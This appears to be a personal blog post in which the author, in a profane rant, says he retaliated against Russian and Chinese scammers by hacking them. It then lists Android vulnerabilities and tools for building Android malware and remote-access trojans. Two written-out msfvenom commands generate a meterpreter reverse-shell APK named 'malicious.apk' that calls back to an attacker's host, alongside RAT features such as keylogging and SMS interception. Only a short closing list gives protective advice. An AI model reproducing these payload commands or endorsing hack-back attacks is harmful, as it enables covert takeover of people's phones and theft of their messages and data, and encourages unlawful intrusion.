First, I would like to explain WHY I did this. I released a few websites, and these motherfuckers (pardon my French) started hacking into my servers. Furthermore, these countries run a Scam Network that steal BILLIONS worth of Crypto Currency all around the world. So, Fuck them! I released a few videos on my TikTok and YouTube on “some” of my actions. But as a large Fuck You to Russia and China, I didn’t even use VPN and here I am Publicly disclosing of what I did and how I did it. On that note, Fuck Mark Zuckerfuck for allowing them to advertise their scams on FaceBook.

Android Vulnerabilities and Malware Tools

Common Vulnerabilities in Android Devices

• Unpatched Operating Systems: Many Android devices run outdated OS versions, leaving them vulnerable to exploits patched in newer updates.
• Third-Party App Stores: Downloading apps from unofficial sources increases the risk of malware infection.
• Weak Permissions Management: Apps with excessive permissions can access sensitive data or functionalities.
• Privilege Escalation Attacks: Vulnerabilities that allow attackers to gain root or administrative access to the device.
• Insecure Data Storage: Sensitive data stored in plaintext or improperly encrypted files can be easily accessed.
• Man-in-the-Middle (MitM) Attacks: Insufficient use of HTTPS or SSL pinning makes devices susceptible to interception of data.
• Phishing Attacks: Users tricked into downloading malware or providing sensitive information through fake apps or websites.
• Malicious SMS and Links: SMS-based phishing (smishing) and malicious links that exploit browser vulnerabilities.
• Adware and Spyware: Apps containing hidden adware or spyware functionalities.
• Exploitation of Known Vulnerabilities:
  • Stagefright (CVE-2015-3824): Vulnerabilities in the media playback engine.
  • BlueFrag (CVE-2020-0022): Bluetooth-based vulnerability allowing remote code execution.

Tools and Scripts for Payload and Malware Creation

Metasploit Framework

A penetration testing framework used to exploit vulnerabilities and create payloads.

Example:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o malicious.apk
            

AndroRAT (Android Remote Access Tool)

Combines a client/server model to gain remote access to Android devices.

Features: Keylogging, SMS interception, and call monitoring.

Evil-Droid

Automates the process of embedding payloads into legitimate APKs.

APKTool

A reverse engineering tool for Android applications.

Usage: Decompile and recompile APKs to embed malicious code.

DroidJack

An Android RAT tool used for remote control.

Features: Access contacts, messages, call logs, and more.

Social Engineering Toolkit (SET)

Used for social engineering attacks, including malicious APK generation.

Example:

setoolkit
            

MSFvenom (Standalone)

Used to create custom payloads for various platforms.

Example:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> R > malicious.apk
            

AhMyth

An open-source Android RAT with features like remote shell access and file management.

Termux

A terminal emulator for Android that can run tools like Metasploit, MSFvenom, and Nmap.

Protective Measures

• Regularly update the device’s operating system and apps.
• Use only trusted app stores like Google Play.
• Monitor permissions for installed apps.
• Use a reputable mobile security app to scan for vulnerabilities and malware.
• Avoid public Wi-Fi or use a VPN for secure connections.
• Educate users on recognizing phishing attempts and suspicious links.